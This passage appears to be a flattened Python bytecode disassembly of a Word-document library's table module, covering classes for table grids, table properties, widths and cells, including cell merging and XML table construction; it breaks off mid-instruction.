COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST tblPr LOAD_METHOD _remove_bidiVisual CALL_METHOD POP_TOP JUMP_FORWARD to 34 LOAD_FAST value LOAD_FAST tblPr LOAD_METHOD get_or_add_bidiVisual CALL_METHOD STORE_ATTR val LOAD_CONST None RETURN_VALUE LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR tblGrid LOAD_ATTR gridCol_lst CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 38 LOAD_FAST self LOAD_ATTR tr_lst GET_ITER FOR_ITER to 36 STORE_FAST tr SETUP_LOOP to 34 LOAD_FAST tr LOAD_ATTR tc_lst GET_ITER FOR_ITER to 32 STORE_FAST tc LOAD_FAST tc YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL parse_xml LOAD_FAST cls LOAD_METHOD _tbl_xml LOAD_FAST rows LOAD_FAST cols LOAD_FAST width CALL_METHOD CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR tblPr LOAD_ATTR tblStyle STORE_FAST tblStyle LOAD_FAST tblStyle LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST tblStyle LOAD_ATTR val RETURN_VALUE LOAD_FAST self LOAD_ATTR tblPr STORE_FAST tblPr LOAD_FAST tblPr LOAD_METHOD _remove_tblStyle CALL_METHOD POP_TOP LOAD_FAST styleId LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST styleId LOAD_FAST tblPr LOAD_METHOD _add_tblStyle CALL_METHOD STORE_ATTR val LOAD_CONST None RETURN_VALUE LOAD_FAST cols LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_GLOBAL Emu LOAD_FAST width LOAD_FAST cols BINARY_TRUE_DIVIDE CALL_FUNCTION JUMP_FORWARD to 26 LOAD_GLOBAL Emu LOAD_CONST 0 CALL_FUNCTION STORE_FAST col_width LOAD_CONST '<w:tbl %s>\n <w:tblPr>\n <w:tblW w:type="auto" w:w="0"/>\n <w:tblLook w:firstColumn="1" w:firstRow="1"\n w:lastColumn="0" w:lastRow="0" w:noHBand="0"\n w:noVBand="1" w:val="04A0"/>\n </w:tblPr>\n%s%s</w:tbl>\n' LOAD_GLOBAL nsdecls LOAD_CONST 'w' CALL_FUNCTION LOAD_FAST cls LOAD_METHOD _tblGrid_xml LOAD_FAST cols LOAD_FAST col_width CALL_METHOD LOAD_FAST cls LOAD_METHOD _trs_xml LOAD_FAST rows LOAD_FAST cols LOAD_FAST col_width CALL_METHOD BUILD_TUPLE BINARY_MODULO RETURN_VALUE LOAD_CONST ' <w:tblGrid>\n' STORE_FAST xml SETUP_LOOP to 36 LOAD_GLOBAL range LOAD_FAST col_count CALL_FUNCTION GET_ITER FOR_ITER to 34 STORE_FAST i LOAD_FAST xml LOAD_CONST ' <w:gridCol w:w="%d"/>\n' LOAD_FAST col_width LOAD_ATTR twips BINARY_MODULO INPLACE_ADD STORE_FAST xml JUMP_ABSOLUTE POP_BLOCK LOAD_FAST xml LOAD_CONST ' </w:tblGrid>\n' INPLACE_ADD STORE_FAST xml LOAD_FAST xml RETURN_VALUE LOAD_CONST '' STORE_FAST xml SETUP_LOOP to 42 LOAD_GLOBAL range LOAD_FAST row_count CALL_FUNCTION GET_ITER FOR_ITER to 40 STORE_FAST i LOAD_FAST xml LOAD_CONST ' <w:tr>\n%s </w:tr>\n' LOAD_FAST cls LOAD_METHOD _tcs_xml LOAD_FAST col_count LOAD_FAST col_width CALL_METHOD BINARY_MODULO INPLACE_ADD STORE_FAST xml JUMP_ABSOLUTE POP_BLOCK LOAD_FAST xml RETURN_VALUE LOAD_CONST '' STORE_FAST xml SETUP_LOOP to 36 LOAD_GLOBAL range LOAD_FAST col_count CALL_FUNCTION GET_ITER FOR_ITER to 34 STORE_FAST i LOAD_FAST xml LOAD_CONST ' <w:tc>\n <w:tcPr>\n <w:tcW w:type="dxa" w:w="%d"/>\n </w:tcPr>\n <w:p/>\n </w:tc>\n' LOAD_FAST col_width LOAD_ATTR twips BINARY_MODULO INPLACE_ADD STORE_FAST xml JUMP_ABSOLUTE POP_BLOCK LOAD_FAST xml RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_TblGrid' STORE_NAME __qualname__ LOAD_CONST '``<w:tblGrid>`` element, child of ``<w:tbl>``, holds ``<w:gridCol>`` elements\n that define column count, width, etc.' STORE_NAME __doc__ LOAD_NAME ZeroOrMore LOAD_CONST 'w:gridCol' LOAD_CONST ('w:tblGridChange',) LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME gridCol LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_TblGridCol' STORE_NAME __qualname__ LOAD_CONST '``<w:gridCol>`` element, child of ``<w:tblGrid>``, defines a table column.' STORE_NAME __doc__ LOAD_NAME OptionalAttribute LOAD_CONST 'w:w' LOAD_NAME ST_TwipsMeasure CALL_FUNCTION STORE_NAME w LOAD_NAME property LOAD_CONST <code object gridCol_idx at 0x7fab8002f810, file "f.py", line 243> LOAD_CONST 'CT_TblGridCol.gridCol_idx' MAKE_FUNCTION CALL_FUNCTION STORE_NAME gridCol_idx LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD getparent CALL_METHOD LOAD_ATTR gridCol_lst LOAD_METHOD index LOAD_FAST self CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_TblLayoutType' STORE_NAME __qualname__ LOAD_CONST '``<w:tblLayout>`` element, specifying whether column widths are fixed or can be\n automatically adjusted based on content.' STORE_NAME __doc__ LOAD_NAME OptionalAttribute LOAD_CONST 'w:type' LOAD_NAME ST_TblLayoutType CALL_FUNCTION STORE_NAME type LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_TblPr' STORE_NAME __qualname__ LOAD_CONST '``<w:tblPr>`` element, child of ``<w:tbl>``, holds child elements that define\n table properties such as style and borders.' STORE_NAME __doc__ LOAD_CONST ('w:tblStyle', 'w:tblpPr', 'w:tblOverlap', 'w:bidiVisual', 'w:tblStyleRowBandSize', 'w:tblStyleColBandSize', 'w:tblW', 'w:jc', 'w:tblCellSpacing', 'w:tblInd', 'w:tblBorders', 'w:shd', 'w:tblLayout', 'w:tblCellMar', 'w:tblLook', 'w:tblCaption', 'w:tblDescription', 'w:tblPrChange') STORE_NAME _tag_seq LOAD_NAME ZeroOrOne LOAD_CONST 'w:tblStyle' LOAD_NAME _tag_seq LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME tblStyle LOAD_NAME ZeroOrOne LOAD_CONST 'w:bidiVisual' LOAD_NAME _tag_seq LOAD_CONST 4 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME bidiVisual LOAD_NAME ZeroOrOne LOAD_CONST 'w:jc' LOAD_NAME _tag_seq LOAD_CONST 8 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME jc LOAD_NAME ZeroOrOne LOAD_CONST 'w:tblLayout' LOAD_NAME _tag_seq LOAD_CONST 13 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_CONST ('successors',) CALL_FUNCTION STORE_NAME tblLayout DELETE_NAME _tag_seq LOAD_NAME property LOAD_CONST <code object alignment at 0x7fab8002f150, file "f.py", line 287> LOAD_CONST 'CT_TblPr.alignment' MAKE_FUNCTION CALL_FUNCTION STORE_NAME alignment LOAD_NAME alignment LOAD_ATTR setter LOAD_CONST <code object alignment at 0x7fab820b1030, file "f.py", line 299> LOAD_CONST 'CT_TblPr.alignment' MAKE_FUNCTION CALL_FUNCTION STORE_NAME alignment LOAD_NAME property LOAD_CONST 'bool' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object autofit at 0x7fab820b10c0, file "f.py", line 307> LOAD_CONST 'CT_TblPr.autofit' MAKE_FUNCTION CALL_FUNCTION STORE_NAME autofit LOAD_NAME autofit LOAD_ATTR setter LOAD_CONST 'bool' LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object autofit at 0x7fab820b1150, file "f.py", line 316> LOAD_CONST 'CT_TblPr.autofit' MAKE_FUNCTION CALL_FUNCTION STORE_NAME autofit LOAD_NAME property LOAD_CONST <code object style at 0x7fab820b11e0, file "f.py", line 321> LOAD_CONST 'CT_TblPr.style' MAKE_FUNCTION CALL_FUNCTION STORE_NAME style LOAD_NAME style LOAD_ATTR setter LOAD_CONST <code object style at 0x7fab820b1270, file "f.py", line 330> LOAD_CONST 'CT_TblPr.style' MAKE_FUNCTION CALL_FUNCTION STORE_NAME style LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR jc STORE_FAST jc LOAD_FAST jc LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST jc LOAD_ATTR val RETURN_VALUE LOAD_FAST self LOAD_METHOD _remove_jc CALL_METHOD POP_TOP LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_jc CALL_METHOD STORE_FAST jc LOAD_FAST value LOAD_FAST jc STORE_ATTR val LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tblLayout STORE_FAST tblLayout LOAD_FAST tblLayout LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_FAST tblLayout LOAD_ATTR type LOAD_CONST 'fixed' COMPARE_OP != RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_tblLayout CALL_METHOD STORE_FAST tblLayout LOAD_FAST value POP_JUMP_IF_FALSE LOAD_CONST 'autofit' JUMP_FORWARD to 18 LOAD_CONST 'fixed' LOAD_FAST tblLayout STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tblStyle STORE_FAST tblStyle LOAD_FAST tblStyle LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST tblStyle LOAD_ATTR val RETURN_VALUE LOAD_FAST self LOAD_METHOD _remove_tblStyle CALL_METHOD POP_TOP LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _add_tblStyle LOAD_FAST value LOAD_CONST ('val',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_TblWidth' STORE_NAME __qualname__ LOAD_CONST 'Used for ``<w:tblW>`` and ``<w:tcW>`` elements and many others, to specify a\n table-related width.' STORE_NAME __doc__ LOAD_NAME RequiredAttribute LOAD_CONST 'w:w' LOAD_NAME XsdInt CALL_FUNCTION STORE_NAME w LOAD_NAME RequiredAttribute LOAD_CONST 'w:type' LOAD_NAME ST_TblWidth CALL_FUNCTION STORE_NAME type LOAD_NAME property LOAD_CONST <code object width at 0x7fab820b1390, file "f.py", line 345> LOAD_CONST 'CT_TblWidth.width' MAKE_FUNCTION CALL_FUNCTION STORE_NAME width LOAD_NAME width LOAD_ATTR setter LOAD_CONST <code object width at 0x7fab820b1420, file "f.py", line 353> LOAD_CONST 'CT_TblWidth.width' MAKE_FUNCTION CALL_FUNCTION STORE_NAME width LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR type LOAD_CONST 'dxa' COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Twips LOAD_FAST self LOAD_ATTR w CALL_FUNCTION RETURN_VALUE LOAD_CONST 'dxa' LOAD_FAST self STORE_ATTR type LOAD_GLOBAL Emu LOAD_FAST value CALL_FUNCTION LOAD_ATTR twips LOAD_FAST self STORE_ATTR w LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'CT_Tc' STORE_NAME __qualname__ SETUP_ANNOTATIONS LOAD_CONST '`w:tc` table cell element.' STORE_NAME __doc__ LOAD_CONST 'Callable[[], CT_P]' LOAD_NAME __annotations__ LOAD_CONST 'add_p' STORE_SUBSCR LOAD_CONST 'List[CT_P]' LOAD_NAME __annotations__ LOAD_CONST 'p_lst' STORE_SUBSCR LOAD_CONST 'List[CT_Tbl]' LOAD_NAME __annotations__ LOAD_CONST 'tbl_lst' STORE_SUBSCR LOAD_CONST 'Callable[[CT_Tbl], CT_Tbl]' LOAD_NAME __annotations__ LOAD_CONST '_insert_tbl' STORE_SUBSCR LOAD_NAME ZeroOrOne LOAD_CONST 'w:tcPr' CALL_FUNCTION STORE_NAME tcPr LOAD_NAME OneOrMore LOAD_CONST 'w:p' CALL_FUNCTION STORE_NAME p LOAD_NAME OneOrMore LOAD_CONST 'w:tbl' CALL_FUNCTION STORE_NAME tbl LOAD_NAME property LOAD_CONST <code object bottom at 0x7fab820b1540, file "f.py", line 372> LOAD_CONST 'CT_Tc.bottom' MAKE_FUNCTION CALL_FUNCTION STORE_NAME bottom LOAD_CONST <code object clear_content at 0x7fab820b15d0, file "f.py", line 385> LOAD_CONST 'CT_Tc.clear_content' MAKE_FUNCTION STORE_NAME clear_content LOAD_NAME property LOAD_CONST <code object grid_span at 0x7fab820b1660, file "f.py", line 399> LOAD_CONST 'CT_Tc.grid_span' MAKE_FUNCTION CALL_FUNCTION STORE_NAME grid_span LOAD_NAME grid_span LOAD_ATTR setter LOAD_CONST <code object grid_span at 0x7fab820b16f0, file "f.py", line 410> LOAD_CONST 'CT_Tc.grid_span' MAKE_FUNCTION CALL_FUNCTION STORE_NAME grid_span LOAD_NAME property LOAD_CONST 'List[CT_P | CT_Tbl]' LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object inner_content_elements at 0x7fab820b1780, file "f.py", line 415> LOAD_CONST 'CT_Tc.inner_content_elements' MAKE_FUNCTION CALL_FUNCTION STORE_NAME inner_content_elements LOAD_CONST <code object iter_block_items at 0x7fab820b1810, file "f.py", line 424> LOAD_CONST 'CT_Tc.iter_block_items' MAKE_FUNCTION STORE_NAME iter_block_items LOAD_NAME property LOAD_CONST <code object left at 0x7fab820b18a0, file "f.py", line 432> LOAD_CONST 'CT_Tc.left' MAKE_FUNCTION CALL_FUNCTION STORE_NAME left LOAD_CONST <code object merge at 0x7fab820b1930, file "f.py", line 437> LOAD_CONST 'CT_Tc.merge' MAKE_FUNCTION STORE_NAME merge LOAD_NAME classmethod LOAD_CONST <code object new at 0x7fab820b19c0, file "f.py", line 446> LOAD_CONST 'CT_Tc.new' MAKE_FUNCTION CALL_FUNCTION STORE_NAME new LOAD_NAME property LOAD_CONST <code object right at 0x7fab820b1a50, file "f.py", line 452> LOAD_CONST 'CT_Tc.right' MAKE_FUNCTION CALL_FUNCTION STORE_NAME right LOAD_NAME property LOAD_CONST <code object top at 0x7fab820b1ae0, file "f.py", line 462> LOAD_CONST 'CT_Tc.top' MAKE_FUNCTION CALL_FUNCTION STORE_NAME top LOAD_NAME property LOAD_CONST <code object vMerge at 0x7fab820b1b70, file "f.py", line 469> LOAD_CONST 'CT_Tc.vMerge' MAKE_FUNCTION CALL_FUNCTION STORE_NAME vMerge LOAD_NAME vMerge LOAD_ATTR setter LOAD_CONST <code object vMerge at 0x7fab820b1c00, file "f.py", line 478> LOAD_CONST 'CT_Tc.vMerge' MAKE_FUNCTION CALL_FUNCTION STORE_NAME vMerge LOAD_NAME property LOAD_CONST <code object width at 0x7fab820b1c90, file "f.py", line 483> LOAD_CONST 'CT_Tc.width' MAKE_FUNCTION CALL_FUNCTION STORE_NAME width LOAD_NAME width LOAD_ATTR setter LOAD_CONST <code object width at 0x7fab820b1d20, file "f.py", line 492> LOAD_CONST 'CT_Tc.width' MAKE_FUNCTION CALL_FUNCTION STORE_NAME width LOAD_CONST <code object _add_width_of at 0x7fab820b1db0, file "f.py", line 497> LOAD_CONST 'CT_Tc._add_width_of' MAKE_FUNCTION STORE_NAME _add_width_of LOAD_NAME property LOAD_CONST <code object _grid_col at 0x7fab820b1ed0, file "f.py", line 505> LOAD_CONST 'CT_Tc._grid_col' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _grid_col LOAD_CONST (None,) LOAD_CONST <code object _grow_to at 0x7fab802c9030, file "f.py", line 513> LOAD_CONST 'CT_Tc._grow_to' MAKE_FUNCTION STORE_NAME _grow_to LOAD_CONST <code object _insert_tcPr at 0x7fab802c90c0, file "f.py", line 529> LOAD_CONST 'CT_Tc._insert_tcPr' MAKE_FUNCTION STORE_NAME _insert_tcPr LOAD_NAME property LOAD_CONST <code object _is_empty at 0x7fab802c9150, file "f.py", line 535> LOAD_CONST 'CT_Tc._is_empty' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _is_empty LOAD_CONST <code object _move_content_to at 0x7fab802c91e0, file "f.py", line 546> LOAD_CONST 'CT_Tc._move_content_to' MAKE_FUNCTION STORE_NAME _move_content_to LOAD_CONST <code object _new_tbl at 0x7fab802c9270, file "f.py", line 558> LOAD_CONST 'CT_Tc._new_tbl' MAKE_FUNCTION STORE_NAME _new_tbl LOAD_NAME property LOAD_CONST <code object _next_tc at 0x7fab802c9300, file "f.py", line 561> LOAD_CONST 'CT_Tc._next_tc' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _next_tc LOAD_CONST <code object _remove at 0x7fab802c9390, file "f.py", line 568> LOAD_CONST 'CT_Tc._remove' MAKE_FUNCTION STORE_NAME _remove LOAD_CONST <code object _remove_trailing_empty_p at 0x7fab802c9420, file "f.py", line 572> LOAD_CONST 'CT_Tc._remove_trailing_empty_p' MAKE_FUNCTION STORE_NAME _remove_trailing_empty_p LOAD_CONST <code object _span_dimensions at 0x7fab802c95d0, file "f.py", line 584> LOAD_CONST 'CT_Tc._span_dimensions' MAKE_FUNCTION STORE_NAME _span_dimensions LOAD_CONST <code object _span_to_width at 0x7fab802c9660, file "f.py", line 614> LOAD_CONST 'CT_Tc._span_to_width' MAKE_FUNCTION STORE_NAME _span_to_width LOAD_CONST <code object _swallow_next_tc at 0x7fab802c9780, file "f.py", line 630> LOAD_CONST 'CT_Tc._swallow_next_tc' MAKE_FUNCTION STORE_NAME _swallow_next_tc LOAD_NAME property LOAD_CONST <code object _tbl at 0x7fab802c9810, file "f.py", line 654> LOAD_CONST 'CT_Tc._tbl' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tbl LOAD_NAME property LOAD_CONST <code object _tc_above at 0x7fab802c98a0, file "f.py", line 659> LOAD_CONST 'CT_Tc._tc_above' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tc_above LOAD_NAME property LOAD_CONST <code object _tc_below at 0x7fab802c9930, file "f.py", line 664> LOAD_CONST 'CT_Tc._tc_below' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tc_below LOAD_NAME property LOAD_CONST <code object _tr at 0x7fab802c99c0, file "f.py", line 672> LOAD_CONST 'CT_Tc._tr' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tr LOAD_NAME property LOAD_CONST <code object _tr_above at 0x7fab802c9a50, file "f.py", line 677> LOAD_CONST 'CT_Tc._tr_above' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tr_above LOAD_NAME property LOAD_CONST <code object _tr_below at 0x7fab802c9ae0, file "f.py", line 689> LOAD_CONST 'CT_Tc._tr_below' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tr_below LOAD_NAME property LOAD_CONST <code object _tr_idx at 0x7fab802c9b70, file "f.py", line 700> LOAD_CONST 'CT_Tc._tr_idx' MAKE_FUNCTION CALL_FUNCTION STORE_NAME _tr_idx LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR vMerge LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _tc_below STORE_FAST tc_below LOAD_FAST tc_below LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST tc_below LOAD_ATTR vMerge LOAD_GLOBAL ST_Merge LOAD_ATTR CONTINUE COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST tc_below LOAD_ATTR bottom RETURN_VALUE LOAD_FAST self LOAD_ATTR _tr_idx LOAD_CONST 1 BINARY_ADD RETURN_VALUE BUILD_LIST STORE_FAST new_children LOAD_FAST self LOAD_ATTR tcPr STORE_FAST tcPr LOAD_FAST tcPr LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST new_children LOAD_METHOD append LOAD_FAST tcPr CALL_METHOD POP_TOP LOAD_FAST new_children LOAD_FAST self LOAD_CONST None LOAD_CONST None BUILD_SLICE STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tcPr STORE_FAST tcPr LOAD_FAST tcPr LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 1 RETURN_VALUE LOAD_FAST tcPr LOAD_ATTR grid_span RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_tcPr CALL_METHOD STORE_FAST tcPr LOAD_FAST value LOAD_FAST tcPr STORE_ATTR grid_span LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD xpath LOAD_CONST './w:p | ./w:tbl' CALL_METHOD RETURN_VALUE LOAD_GLOBAL qn LOAD_CONST 'w:p' CALL_FUNCTION LOAD_GLOBAL qn LOAD_CONST 'w:tbl' CALL_FUNCTION LOAD_GLOBAL qn LOAD_CONST 'w:sdt' CALL_FUNCTION BUILD_TUPLE STORE_FAST block_item_tags SETUP_LOOP to 52 LOAD_FAST self GET_ITER FOR_ITER to 50 STORE_FAST child LOAD_FAST child LOAD_ATTR tag LOAD_FAST block_item_tags COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST child YIELD_VALUE POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _grid_col RETURN_VALUE LOAD_FAST self LOAD_METHOD _span_dimensions LOAD_FAST other_tc CALL_METHOD UNPACK_SEQUENCE STORE_FAST top STORE_FAST left STORE_FAST height STORE_FAST width LOAD_FAST self LOAD_ATTR _tbl LOAD_ATTR tr_lst LOAD_FAST top BINARY_SUBSCR LOAD_METHOD tc_at_grid_col LOAD_FAST left CALL_METHOD STORE_FAST top_tc LOAD_FAST top_tc LOAD_METHOD _grow_to LOAD_FAST width LOAD_FAST height CALL_METHOD POP_TOP LOAD_FAST top_tc RETURN_VALUE LOAD_GLOBAL parse_xml LOAD_CONST '<w:tc %s>\n <w:p/>\n</w:tc>' LOAD_GLOBAL nsdecls LOAD_CONST 'w' CALL_FUNCTION BINARY_MODULO CALL_FUNCTION RETURN_VALUE LOAD_FAST self LOAD_ATTR _grid_col LOAD_FAST self LOAD_ATTR grid_span BINARY_ADD RETURN_VALUE LOAD_FAST self LOAD_ATTR vMerge LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR vMerge LOAD_GLOBAL ST_Merge LOAD_ATTR RESTART COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _tr_idx RETURN_VALUE LOAD_FAST self LOAD_ATTR _tc_above LOAD_ATTR top RETURN_VALUE LOAD_FAST self LOAD_ATTR tcPr STORE_FAST tcPr LOAD_FAST tcPr LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST tcPr LOAD_ATTR vMerge_val RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_tcPr CALL_METHOD STORE_FAST tcPr LOAD_FAST value LOAD_FAST tcPr STORE_ATTR vMerge_val LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR tcPr STORE_FAST tcPr LOAD_FAST tcPr LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST tcPr LOAD_ATTR width RETURN_VALUE LOAD_FAST self LOAD_METHOD get_or_add_tcPr CALL_METHOD STORE_FAST tcPr LOAD_FAST value LOAD_FAST tcPr STORE_ATTR width LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR width POP_JUMP_IF_FALSE LOAD_FAST other_tc LOAD_ATTR width POP_JUMP_IF_FALSE LOAD_FAST self DUP_TOP LOAD_ATTR width LOAD_FAST other_tc LOAD_ATTR width INPLACE_ADD ROT_TWO STORE_ATTR width LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _tr STORE_FAST tr LOAD_FAST tr LOAD_ATTR tc_lst LOAD_METHOD index LOAD_FAST self CALL_METHOD STORE_FAST idx LOAD_FAST tr LOAD_ATTR tc_lst LOAD_CONST None LOAD_FAST idx BUILD_SLICE BINARY_SUBSCR STORE_FAST preceding_tcs LOAD_GLOBAL sum LOAD_CONST <code object <genexpr> at 0x7fab820b1e40, file "f.py", line 511> LOAD_CONST 'CT_Tc._grid_col.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST preceding_tcs GET_ITER CALL_FUNCTION CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 16 STORE_FAST tc LOAD_FAST tc LOAD_ATTR grid_span YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CLOSURE height LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object vMerge_val at 0x7fab820b1f60, file "f.py", line 517> LOAD_CONST 'CT_Tc._grow_to.<locals>.vMerge_val' MAKE_FUNCTION STORE_FAST vMerge_val LOAD_FAST top_tc LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_DEREF self JUMP_FORWARD to 28 LOAD_FAST top_tc STORE_FAST top_tc LOAD_DEREF self LOAD_METHOD _span_to_width LOAD_FAST width LOAD_FAST top_tc LOAD_FAST vMerge_val LOAD_FAST top_tc CALL_FUNCTION CALL_METHOD POP_TOP LOAD_DEREF height LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_DEREF self LOAD_ATTR _tc_below LOAD_METHOD _grow_to LOAD_FAST width LOAD_DEREF height LOAD_CONST 1 BINARY_SUBTRACT LOAD_FAST top_tc CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST top_tc LOAD_DEREF self COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL ST_Merge LOAD_ATTR CONTINUE RETURN_VALUE LOAD_DEREF height LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ST_Merge LOAD_ATTR RESTART RETURN_VALUE LOAD_FAST self LOAD_METHOD insert LOAD_CONST 0 LOAD_FAST tcPr CALL_METHOD POP_TOP LOAD_FAST tcPr RETURN_VALUE LOAD_GLOBAL list LOAD_FAST self LOAD_METHOD iter_block_items CALL_METHOD CALL_FUNCTION STORE_FAST block_items LOAD_GLOBAL len LOAD_FAST block_items CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST False RETURN_VALUE LOAD_FAST block_items LOAD_CONST 0 BINARY_SUBSCR STORE_FAST p LOAD_GLOBAL len LOAD_FAST p LOAD_ATTR r_lst CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_CONST False RETURN_VALUE LOAD_FAST other_tc LOAD_FAST self COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _is_empty POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST other_tc LOAD_METHOD _remove_trailing_empty_p CALL_METHOD POP_TOP SETUP_LOOP to 58 LOAD_FAST self LOAD_METHOD iter_block_items CALL_METHOD GET_ITER FOR_ITER to 56 STORE_FAST block_element LOAD_FAST other_tc LOAD_METHOD append LOAD_FAST block_element CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD append LOAD_FAST self LOAD_METHOD _new_p CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL CT_Tbl LOAD_METHOD new CALL_METHOD RETURN_VALUE LOAD_FAST self LOAD_METHOD xpath LOAD_CONST './following-sibling::w:tc' CALL_METHOD STORE_FAST following_tcs LOAD_FAST following_tcs POP_JUMP_IF_FALSE LOAD_FAST following_tcs LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD getparent CALL_METHOD LOAD_METHOD remove LOAD_FAST self CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL list LOAD_FAST self LOAD_METHOD iter_block_items CALL_METHOD CALL_FUNCTION STORE_FAST block_items LOAD_FAST block_items LOAD_CONST -1 BINARY_SUBSCR STORE_FAST last_content_elm LOAD_FAST last_content_elm LOAD_ATTR tag LOAD_GLOBAL qn LOAD_CONST 'w:p' CALL_FUNCTION COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST last_content_elm STORE_FAST p LOAD_GLOBAL len LOAD_FAST p LOAD_ATTR r_lst 